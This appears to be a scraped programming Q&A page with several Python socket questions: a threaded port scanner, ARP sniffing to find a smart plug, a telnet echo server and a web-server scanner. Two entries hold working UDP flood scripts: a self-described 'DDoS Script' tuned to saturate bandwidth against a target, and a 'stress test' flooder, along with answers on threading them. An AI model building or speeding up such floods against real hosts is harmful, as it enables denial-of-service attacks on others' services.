Python Port Scanner with Threading - python

I am trying to create a port scanner in Python. I got the scanner going but it takes forty five minutes to print results. I started to institute threading however I can't figure out how to put different ranges into the script. I started to go to creating a global variable and try to pass that along in each thread. Unfortunately it's not working correctly and I am getting an invalid syntax error. Below is the code.
import socket
import os
import sys
from threading import Thread
server = raw_input("Please enter a server name ")
def portConnect():
global num
try:
serv_ip = socket.gethostbyname(server) # connects to server through try
print "Please wait, scanning remote host", serv_ip
for port in range(num):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect_ex((serv_ip, port))
if connect == 0:
print "Port {}: Open".format(port)
sock.close()
except socket.gaierror:
print """
I can't find that server, idiot! Try again
"""
sys.exit()
for i in range(1):
t = Thread(target=portConnect,(num=100))
t.start()
What am I doing wrong?

Thread expects args= as tuple and it sends it as arguments to function
This way you send 100 as first argument (num) to portConnect()
def portConnect(num):
print(num)
# code
t = Thread(target=portConnect, args=(100,) )
To send range you need two arguments
def portConnect(from_, to_):
print(from_, to_)
for port in range(from_, to_):
# ...
size = 20
for i in range(1, 100, size):
t = Thread(target=portConnect, args=(i, i+size))
t.start()
BTW: module scapy lets you send single packet so it is used for portscanning, sniffing, etc.
You can do more with special tools like nmap (GUI wrapper: Zenmap) or Kali Linux
You may try to use nmap in Python: python-nmap : nmap from python

you can solve this really easily using nmap.
nmap -p- <some_host>

Related

How to incorporate the IP address of a device into a Python script if the address changes

I have a Python script which retrieves the measured data from a smart plug so that I can visualize it on my Rasbperry Pi.
This command gets the data
send_hs_command("192.168.1.26", 9999, b'{"emeter":{"get_realtime":{}}}')
and this is the define
def send_hs_command(address, port, cmd):
data = b""
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
tcp_sock.connect((address, port))
tcp_sock.send(encrypt(cmd))
data = tcp_sock.recv(2048)
except socket.error:
print(time.asctime( time.localtime(time.time()) ), "Socket closed.", file=sys.stderr)
finally:
tcp_sock.close()
return data
My problem is that if I take the Smart Plug somewhere else, it will have
a new IP-Address, which means I have to keep rewriting it on my Python script. This is not an option for me. What would be the simplest solution? Thanks
I don't have a Pi to run this on.
If the IP address of the target(Smart Plug) is variable, can you not use a pre-determined host-name(located in '/etc/hostname') instead?
the socket library provides a few handy functions;
You can first use
gethostbyaddr to get the host-name if you don't have the host-name information already.
Then from that point onward you can use the known host-name and use
create_connection to establish connections.
However, if you want to use something more dynamic; I'd suggest using the MAC address as the key.
Please be advised that running scapy which perhaps depends on tcpdump on Raspberry Pi might be CPU exhaustive.
Please take a look at the following snippet:
import socket
import time
import sys
from scapy.all import *
def send_hs_command(address, port, cmd):
data = b""
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
tcp_sock.connect((address, port))
tcp_sock.send(encrypt(cmd))
data = tcp_sock.recv(2048)
except socket.error:
print(time.asctime( time.localtime(time.time()) ), "Socket closed.", file=sys.stderr)
finally:
tcp_sock.close()
print(data)
return data
def get_ip_from_mac():
# Match ARP requests
packet_list = sniff(filter="arp", count=10) # increase number of arp counts
for i in packet_list:
# Show all ARP requests
# print(i[Ether].src, "is broadcasting IP", i[ARP].psrc)
if (i[ARP].hwsrc == '00:0c:29:b6:f4:be'): # target MAC address
return (True, i[ARP].psrc)
return (False, '')
def main():
result = get_ip_from_mac()
if result[0] == True:
print("Succeeded to reach server")
send_hs_command(result[1], 22, b'{"emeter":{"get_realtime":{}}}')
else:
# logic to retry or graciously fail
print("Failed to reach server")
if __name__== "__main__":
main()

Telnet reads double characters when running python server script

So I am new to python and I'm trying to learn some socket programming and the following script, when ran and connected to the server via telnet, returns me something like "hheelllloo wwoorrlldd" instead of letting me write "hello world" and then send the data. I've looked online and I've already tried to change the localecho setting in telnet and that didn't work either.
The servers script is:
import socket
import sys
import threading
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('127.0.0.1', 10000))
sock.listen(1)
connections = []
def handler(c, a):
global connections
while True:
data = c.recv(1024)
for connection in connections:
connection.send(bytes(data))
if not data:
connections.remove(c)
c.close()
break
while True:
c, a = sock.accept()
conn_thread = threading.Thread(target = handler, args = (c, a))
conn_thread.daemon = True
conn_thread.start()
connections.append(c)
The code when ran should return the sender the text he sent. I think mine does it character by character, without pressing enter to send and I don't know why. I might be wrong though.
Also, I'm running Windows 10, if this matters.

How to create a script that scans web server while parsing IP's into list (py3)

For my intro class I have to create a script that scans for a web server. The scanning should be implemented in a module and the user input and output should be implemented in a script that imports the module.
So far for my actual script (not module I have this)
#!/usr/bin/python3
import re
import socket
hostServer = input("Enter an IP address or list (seperated by commas) to scan: ").split(',')
import socketmodule
print("-" * 60)
print("Please wait, scanning remote host", remoteServer)
print("-" * 60)
I have this for my module at the moment
#!/usr/bin/python3
import socket
s=socket.socket()
s.connect((hostServer, 80)) # I'm getting an error for using hostServer but
how else should I pass the list of IP
addresses into my module?
s.send(b'GET / HTTP/1.0\n\n')
s.recv(1024)
while True:
data.s.recv(1024)
if data:
print('Recieved {} bytes from client at {}.\n{}'.format(len(data), addr, data))
conn.sendall(data)
break
s.close()
Can someone please direct me out of this mess
How to listen to multiple ports
You need to create one socket per one port, this means you can't use plain methods call just by importing a module.
Extract your code into a function or into a class. Here is an example:
#!/usr/bin/python3
import socket
class PortListener(object):
CHUNK_SIZE = 1024
def __init__(self, host_server, port):
self.host = host_server
self.port = port
def listen(self):
self.socket = socket.socket()
self.socket.connect((self.host, self.port))
self.socket.send(b'GET / HTTP/1.0\n\n')
while True:
data = self.socket.recv(self.CHUNK_SIZE)
if data:
print('Recieved {} bytes from client at {}.\n{}'.format(len(data), '{}:{}'.format(self.host,
self.port), data))
def close(self, type, value, traceback):
self.socket.close()
Then you create an instance of listener per port
from socketmodule import PortListener
listener = PortListener('127.0.0.1', 5000)
Possible issues:
For reserved ports (any port under 1024) you need a root access to listen to it.
You may need to think about a loop to create a pool of listeners to receive data from multiple ports. Please also make sure that socket is closed once you finished interacting with a web server.

Python 2.7 DDos Script is too slow

I am trying to create a DDos Script (for educational use), however currently its too slow and is only using about 0.8Mb of my upload speed (out of about 20Mb).
UPDATE 3
I have removed the server connection code to try get this running fast enough and its finally fast enough to max out my upload speed (about 20Mbit/s). Now im just looking for a way to run the connection code on the side every 300ish times the main code is running.
import time, socket, os, sys, string, urllib2, threading
print_lock = threading.Lock()
def attack():
port = 80
host = 'target ip address'
message="#I am the bestest in the world. "
ip = socket.gethostbyname( host )
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ddos.connect((host, port))
for i in xrange(10000000):
try:
ddos.sendto( message, (ip, port))
except socket.error, msg:
print("|[Connection Failed] |")
ddos.close()
def main():
print "DOS app started"
for i in range(10000000):
t = threading.Thread(target=attack)
t.daemon = True
t.start()
t.join()
if __name__ == "__main__":
main()
P.S: I'm looking into Cython however not sure of its functions yet.
Use threading because you can create much more throughput. Also, you're checking to see if the host is up really frequently. Instead, you could consider checking if the host is up every x attempts you try to access it.

Implementing Multi-Threading in a Python Script

I wanted to create a python script to stress test my servers.
So I created this basic UDP flooder and I think I have it working correctly.
My question is how would I go about adding multi-threading to this?
I read a manual on Python threading but didn't understand how to actually
implement it into my script.
import socket
import random
print "Target:",
ipaddr = raw_input()
sent = 1
bytes = random._urandom(10000)
port = 1
while sent > 0:
print "Test Started On", ipaddr, "|", sent, "Packets Sent. Press Ctrl+C To Stop."
sent += 1
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes,(ipaddr,port))
port = random.randint(1, 65500)
raw_input()
If you extract the business part of your application into a function like:
def do_the_flooding():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes,(ipaddr,port))
You can then call it in a thread:
import threading
t = threading.Thread(target=do_the_flooding)
t.start()

Categories